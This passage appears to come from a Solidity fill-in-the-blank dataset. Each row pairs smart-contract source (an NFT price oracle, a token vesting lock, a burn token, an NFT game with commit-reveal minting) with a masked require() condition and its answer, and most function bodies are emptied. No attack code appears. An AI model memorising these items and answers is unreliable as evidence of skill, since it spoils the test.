emit RemoveOwner(msg.sender, _owner);
}
function isOwner(address _owner) public view returns (bool) {
}
function createWrapper(address _owner) public onlyOwners returns (address) {
}
}
| isOwner(_owner),"vbw: address is not owner removeOwner" | 340,560 | isOwner(_owner) |
"CNftPriceOracle: Cannot overwrite existing address mappings." | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "./compound/NftInterfaces.sol";
import "./compound/CToken.sol";
import "./libraries/FullMath.sol";
import "./nftx/INFTXVault.sol";
import "./UniswapV2PriceOracle.sol";
/**
* @title CNftPriceOracle
* @notice Price oracle for cNFT tokens.
* @dev Assumes that base token is WETH.
*/
contract CNftPriceOracle is NftPriceOracle {
address public admin;
modifier onlyAdmin() {
}
UniswapV2PriceOracle public immutable uniswapV2Oracle;
address public immutable uniswapV2Factory;
address public immutable baseToken;
/// @dev Mapping from CNft address to underlying NFTX token address.
mapping(address => address) public underlyingNftxTokenAddress;
constructor(
address _admin,
address _uniswapV2Oracle,
address _uniswapV2Factory,
address _baseToken
) {
}
function changeAdmin(address newAdmin) external onlyAdmin {
}
function addAddressMapping(
CNftInterface[] calldata cNfts,
address[] calldata nftxTokens
) external onlyAdmin {
require(
cNfts.length > 0 && cNfts.length == nftxTokens.length,
"CNftPriceOracle: `cNfts` and `nftxTokens` must have nonzero, equal lengths."
);
for (uint256 i = 0; i < cNfts.length; ++i) {
address underlying = cNfts[i].underlying();
require(<FILL_ME>)
underlyingNftxTokenAddress[underlying] = nftxTokens[i];
}
}
/**
* @notice Returns price of `cToken` in `baseToken`, scaled by the units of `baseToken`.
* @notice For example, if `baseToken` were WETH and the price of `cToken` was 1 WETH,
* @notice then the function would return 10**18.
*/
function getUnderlyingPrice(CNftInterface cNft)
external
view
override
returns (uint256)
{
}
}
| underlyingNftxTokenAddress[underlying]==address(0),"CNftPriceOracle: Cannot overwrite existing address mappings." | 340,620 | underlyingNftxTokenAddress[underlying]==address(0) |
'Not Enough Balance' | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OwnerHelper {
address public owner;
modifier onlyOwner {
}
constructor() {
}
}
contract TokenLock is OwnerHelper {
using SafeMath for uint256;
address public neopinContract;
uint256 initTime = 1623250800; // 2021/06/10 00:00
uint256 firstFreezeTime = 1654786800; // 2022/06/10 00:00
uint256 secondFreezeTime = 1686322800; // 2023/06/10 00:00
mapping (address => mapping ( uint256 => uint256 )) public freezeBalances;
mapping (address => mapping ( uint256 => uint256 )) public freezeTimes;
uint256 public totalLockBalance;
constructor(address _contract)
{
}
function getBlockTime() view public returns (uint) {
}
function freezeTokens(address _target, uint256 _amount) public onlyOwner {
require(_amount > 0, 'Not Enough Ammount');
require(_target != address(0x0), 'Invalid Address');
uint256 balance = IERC20(neopinContract).balanceOf(address(this)) / 1e18;
require(<FILL_ME>)
totalLockBalance = totalLockBalance.add(_amount);
freezeBalances[_target][0] = _amount * 5 / 10;
freezeBalances[_target][1] = _amount * 3 / 10;
freezeBalances[_target][2] = _amount * 2 / 10;
freezeTimes[_target][0] = initTime;
freezeTimes[_target][1] = firstFreezeTime;
freezeTimes[_target][2] = secondFreezeTime;
}
function getTotalFreezeBalance() view public returns (uint256) {
}
function getFreezeBalance(uint256 _time) view public returns (uint256) {
}
function withdrawToken(uint256 _time) public
{
}
}
| _amount+totalLockBalance<=balance,'Not Enough Balance' | 340,711 | _amount+totalLockBalance<=balance |
null | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.4;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract OwnerHelper {
address public owner;
modifier onlyOwner {
}
constructor() {
}
}
contract TokenLock is OwnerHelper {
using SafeMath for uint256;
address public neopinContract;
uint256 initTime = 1623250800; // 2021/06/10 00:00
uint256 firstFreezeTime = 1654786800; // 2022/06/10 00:00
uint256 secondFreezeTime = 1686322800; // 2023/06/10 00:00
mapping (address => mapping ( uint256 => uint256 )) public freezeBalances;
mapping (address => mapping ( uint256 => uint256 )) public freezeTimes;
uint256 public totalLockBalance;
constructor(address _contract)
{
}
function getBlockTime() view public returns (uint) {
}
function freezeTokens(address _target, uint256 _amount) public onlyOwner {
}
function getTotalFreezeBalance() view public returns (uint256) {
}
function getFreezeBalance(uint256 _time) view public returns (uint256) {
}
function withdrawToken(uint256 _time) public
{
require(<FILL_ME>)
uint256 value = freezeBalances[msg.sender][_time] * (10 ** 18);
freezeBalances[msg.sender][_time] = 0;
IERC20(neopinContract).transfer(msg.sender, value);
}
}
| freezeBalances[msg.sender][_time]>0&&block.timestamp>freezeTimes[msg.sender][_time] | 340,711 | freezeBalances[msg.sender][_time]>0&&block.timestamp>freezeTimes[msg.sender][_time] |
null | pragma solidity 0.5.13;
contract AP3 {
uint256 constant private TOKEN_PRECISION = 1e18;
uint256 constant private initial_supply = 777 * TOKEN_PRECISION;
string constant public name = "AP3 M4DN3SS";
string constant public symbol = "AP3";
uint8 constant public decimals = 18;
uint8 constant public burn_rate = 7;
struct User {
uint256 balance;
mapping(address => uint256) allowance;
}
struct Info {
uint256 totalSupply;
mapping(address => User) users;
address admin;
bool maddness;
}
Info private info;
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed owner, address indexed spender, uint256 tokens);
constructor() public {
}
function start_maddness () public {
require(msg.sender == info.admin);
require(<FILL_ME>)
info.maddness = true;
}
function transfer(address _to, uint256 _tokens) external returns (bool) {
}
function balanceOf(address _user) public view returns (uint256) {
}
function approve(address _spender, uint256 _tokens) external returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool) {
}
function totalSupply() public view returns (uint256) {
}
function allowance(address _user, address _spender) public view returns (uint256) {
}
function _transfer(address _from, address _to, uint256 _tokens) internal returns (uint256) {
}
}
| !info.maddness | 340,744 | !info.maddness |
"Contracts not set" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IGP.sol";
import "./interfaces/IWnD.sol";
import "./interfaces/ISacrificialAlter.sol";
import "hardhat/console.sol";
contract WnDGameTG is IWnDGame, Ownable, ReentrancyGuard, Pausable {
struct MintCommit {
address recipient;
bool stake;
uint16 amount;
}
struct TrainingCommit {
address tokenOwner;
uint16 tokenId;
bool isAdding; // If false, the commit is for claiming rewards
bool isUnstaking; // If !isAdding, this will determine if user is unstaking
bool isTraining; // If !isAdding, this will define where the staked token is (only necessary for wizards)
}
uint256 public constant TREASURE_CHEST = 5;
// max $GP cost
uint256 private maxGpCost = 72000 ether;
/** =========== MINTING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => MintCommit[]) private commitQueueMints;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeMints;
mapping(address => uint16) private pendingMintCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurMints = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingMints = 0;
/** =========== TRAINING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => TrainingCommit[]) private commitQueueTraining;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeTraining;
mapping(address => uint16) private pendingTrainingCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurTraining = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingTraining = 0;
// Time from starting a commit batch to allow new commits to enter
uint64 private timePerCommitBatch = 5 minutes;
// Time from starting a commit batch to allow users to reveal these in exchange for $GP
uint64 private timeToAllowArb = 1 hours;
uint16 private pendingMintAmt;
bool public allowCommits = true;
uint256 private revealRewardAmt = 36000 ether;
uint256 private stakingCost = 8000 ether;
// reference to the TrainingGrounds
ITrainingGrounds public trainingGrounds;
// reference to $GP for burning on mint
IGP public gpToken;
// reference to Traits
ITraits public traits;
// reference to NFT collection
IWnD public wndNFT;
// reference to alter collection
ISacrificialAlter public alter;
constructor() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
require(<FILL_ME>)
_;
}
function setContracts(address _gp, address _traits, address _wnd, address _alter, address _trainingGrounds) external onlyOwner {
}
/** EXTERNAL */
function getPendingMintCommits(address addr) external view returns (uint16) {
}
function getPendingTrainingCommits(address addr) external view returns (uint16) {
}
function hasStaleMintCommit() external view returns (bool) {
}
function hasStaleTrainingCommit() external view returns (bool) {
}
/** Allow users to reveal the oldest commit for GP. Mints commits must be stale to be able to be revealed this way */
function revealOldestMint() external whenNotPaused {
}
function revealOldestTraining() external whenNotPaused {
}
/** Initiate the start of a mint. This action burns $GP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {
}
function revealMint(MintCommit memory commit) internal {
}
function addToTower(uint16[] calldata tokenIds) external whenNotPaused {
}
function addToTrainingCommit(uint16[] calldata tokenIds) external whenNotPaused {
}
function claimTrainingsCommit(uint16[] calldata tokenIds, bool isUnstaking, bool isTraining) external whenNotPaused {
}
function tryRevealTraining(uint256 amount) internal {
}
function revealTraining(TrainingCommit memory commit) internal {
}
/** Deterministically random. This assumes the call was a part of commit+reveal design
* that disallowed the benefactor of this outcome to make this call */
function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
}
function makeTreasureChests(uint16 qty) external whenNotPaused {
}
function sellTreasureChests(uint16 qty) external whenNotPaused {
}
/** INTERNAL */
/**
* the first 25% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked dragon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Dragon thief's owner)
*/
function selectRecipient(uint256 seed, address committer) internal view returns (address) {
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
}
function setMaxGpCost(uint256 _amount) external requireContractsSet onlyOwner {
}
function setAllowCommits(bool allowed) external onlyOwner {
}
function setRevealRewardAmt(uint256 rewardAmt) external onlyOwner {
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
}
}
| address(gpToken)!=address(0)&&address(traits)!=address(0)&&address(wndNFT)!=address(0)&&address(alter)!=address(0)&&address(trainingGrounds)!=address(0),"Contracts not set" | 340,837 | address(gpToken)!=address(0)&&address(traits)!=address(0)&&address(wndNFT)!=address(0)&&address(alter)!=address(0)&&address(trainingGrounds)!=address(0) |
"No stale commits to reveal" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IGP.sol";
import "./interfaces/IWnD.sol";
import "./interfaces/ISacrificialAlter.sol";
import "hardhat/console.sol";
contract WnDGameTG is IWnDGame, Ownable, ReentrancyGuard, Pausable {
struct MintCommit {
address recipient;
bool stake;
uint16 amount;
}
struct TrainingCommit {
address tokenOwner;
uint16 tokenId;
bool isAdding; // If false, the commit is for claiming rewards
bool isUnstaking; // If !isAdding, this will determine if user is unstaking
bool isTraining; // If !isAdding, this will define where the staked token is (only necessary for wizards)
}
uint256 public constant TREASURE_CHEST = 5;
// max $GP cost
uint256 private maxGpCost = 72000 ether;
/** =========== MINTING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => MintCommit[]) private commitQueueMints;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeMints;
mapping(address => uint16) private pendingMintCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurMints = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingMints = 0;
/** =========== TRAINING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => TrainingCommit[]) private commitQueueTraining;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeTraining;
mapping(address => uint16) private pendingTrainingCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurTraining = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingTraining = 0;
// Time from starting a commit batch to allow new commits to enter
uint64 private timePerCommitBatch = 5 minutes;
// Time from starting a commit batch to allow users to reveal these in exchange for $GP
uint64 private timeToAllowArb = 1 hours;
uint16 private pendingMintAmt;
bool public allowCommits = true;
uint256 private revealRewardAmt = 36000 ether;
uint256 private stakingCost = 8000 ether;
// reference to the TrainingGrounds
ITrainingGrounds public trainingGrounds;
// reference to $GP for burning on mint
IGP public gpToken;
// reference to Traits
ITraits public traits;
// reference to NFT collection
IWnD public wndNFT;
// reference to alter collection
ISacrificialAlter public alter;
constructor() {
}
/** CRITICAL TO SETUP */
modifier requireContractsSet() {
}
function setContracts(address _gp, address _traits, address _wnd, address _alter, address _trainingGrounds) external onlyOwner {
}
/** EXTERNAL */
function getPendingMintCommits(address addr) external view returns (uint16) {
}
function getPendingTrainingCommits(address addr) external view returns (uint16) {
}
function hasStaleMintCommit() external view returns (bool) {
}
function hasStaleTrainingCommit() external view returns (bool) {
}
/** Allow users to reveal the oldest commit for GP. Mints commits must be stale to be able to be revealed this way */
function revealOldestMint() external whenNotPaused {
require(tx.origin == _msgSender(), "Only EOA");
// Check if the revealable commitId has anything to commit and increment it until it does, or is the same as the current commitId
while(commitQueueMints[_commitIdPendingMints].length == 0 && _commitIdPendingMints < _commitIdCurMints) {
// Only iterate if the commit pending is empty and behind the current id.
// This is to prevent it from being in front of the current id and missing commits.
_commitIdPendingMints += 1;
}
// Check if there is a commit in a revealable batch and pop/reveal it
require(<FILL_ME>)
// If the pending batch is old enough to be revealed and has stuff in it, mine one.
MintCommit memory commit = commitQueueMints[_commitIdPendingMints][commitQueueMints[_commitIdPendingMints].length - 1];
commitQueueMints[_commitIdPendingMints].pop();
revealMint(commit);
gpToken.mint(_msgSender(), revealRewardAmt * commit.amount);
}
function revealOldestTraining() external whenNotPaused {
}
/** Initiate the start of a mint. This action burns $GP, as the intent of committing is that you cannot back out once you've started.
* This will add users into the pending queue, to be revealed after a random seed is generated and assigned to the commit id this
* commit was added to. */
function mintCommit(uint256 amount, bool stake) external whenNotPaused nonReentrant {
}
function revealMint(MintCommit memory commit) internal {
}
function addToTower(uint16[] calldata tokenIds) external whenNotPaused {
}
function addToTrainingCommit(uint16[] calldata tokenIds) external whenNotPaused {
}
function claimTrainingsCommit(uint16[] calldata tokenIds, bool isUnstaking, bool isTraining) external whenNotPaused {
}
function tryRevealTraining(uint256 amount) internal {
}
function revealTraining(TrainingCommit memory commit) internal {
}
/** Deterministically random. This assumes the call was a part of commit+reveal design
* that disallowed the benefactor of this outcome to make this call */
function random(uint16 tokenId, uint256 time, address owner) internal pure returns (uint256) {
}
/**
* @param tokenId the ID to check the cost of to mint
* @return the cost of the given token ID
*/
function mintCost(uint256 tokenId, uint256 maxTokens) public view returns (uint256) {
}
function makeTreasureChests(uint16 qty) external whenNotPaused {
}
function sellTreasureChests(uint16 qty) external whenNotPaused {
}
/** INTERNAL */
/**
* the first 25% (ETH purchases) go to the minter
* the remaining 80% have a 10% chance to be given to a random staked dragon
* @param seed a random value to select a recipient from
* @return the address of the recipient (either the minter or the Dragon thief's owner)
*/
function selectRecipient(uint256 seed, address committer) internal view returns (address) {
}
/** ADMIN */
/**
* enables owner to pause / unpause contract
*/
function setPaused(bool _paused) external requireContractsSet onlyOwner {
}
function setMaxGpCost(uint256 _amount) external requireContractsSet onlyOwner {
}
function setAllowCommits(bool allowed) external onlyOwner {
}
function setRevealRewardAmt(uint256 rewardAmt) external onlyOwner {
}
/** Allow the contract owner to set the pending mint amount.
* This allows any long-standing pending commits to be overwritten, say for instance if the max supply has been
* reached but there are many stale pending commits, it could be used to free up those spaces if needed/desired by the community.
* This function should not be called lightly, this will have negative consequences on the game. */
function setPendingMintAmt(uint256 pendingAmt) external onlyOwner {
}
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
}
}
| commitIdStartTimeMints[_commitIdPendingMints]<block.timestamp-timeToAllowArb&&commitQueueMints[_commitIdPendingMints].length>0,"No stale commits to reveal" | 340,837 | commitIdStartTimeMints[_commitIdPendingMints]<block.timestamp-timeToAllowArb&&commitQueueMints[_commitIdPendingMints].length>0 |
"No stale commits to reveal" | // SPDX-License-Identifier: MIT LICENSE
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./interfaces/IWnDGame.sol";
import "./interfaces/ITrainingGrounds.sol";
import "./interfaces/ITraits.sol";
import "./interfaces/IGP.sol";
import "./interfaces/IWnD.sol";
import "./interfaces/ISacrificialAlter.sol";
import "hardhat/console.sol";
contract WnDGameTG is IWnDGame, Ownable, ReentrancyGuard, Pausable {
struct MintCommit {
address recipient;
bool stake;
uint16 amount;
}
struct TrainingCommit {
address tokenOwner;
uint16 tokenId;
bool isAdding; // If false, the commit is for claiming rewards
bool isUnstaking; // If !isAdding, this will determine if user is unstaking
bool isTraining; // If !isAdding, this will define where the staked token is (only necessary for wizards)
}
uint256 public constant TREASURE_CHEST = 5;
// max $GP cost
uint256 private maxGpCost = 72000 ether;
/** =========== MINTING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => MintCommit[]) private commitQueueMints;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeMints;
mapping(address => uint16) private pendingMintCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurMints = 1;
// tracks the oldest commitId that has commits needing to be revealed
uint16 private _commitIdPendingMints = 0;
/** =========== TRAINING COMMIT AND REVEAL VARIABLES =========== */
// commitId -> array of all pending commits
mapping(uint16 => TrainingCommit[]) private commitQueueTraining;
// Track when a commitId started accepting commits
mapping(uint16 => uint256) private commitIdStartTimeTraining;
mapping(address => uint16) private pendingTrainingCommitsForAddr;
// Tracks the current commitId batch to put new commits into
uint16 private _commitIdCurTraining = 1;
// tracks the oldest commitId that has commits needing to be revealed
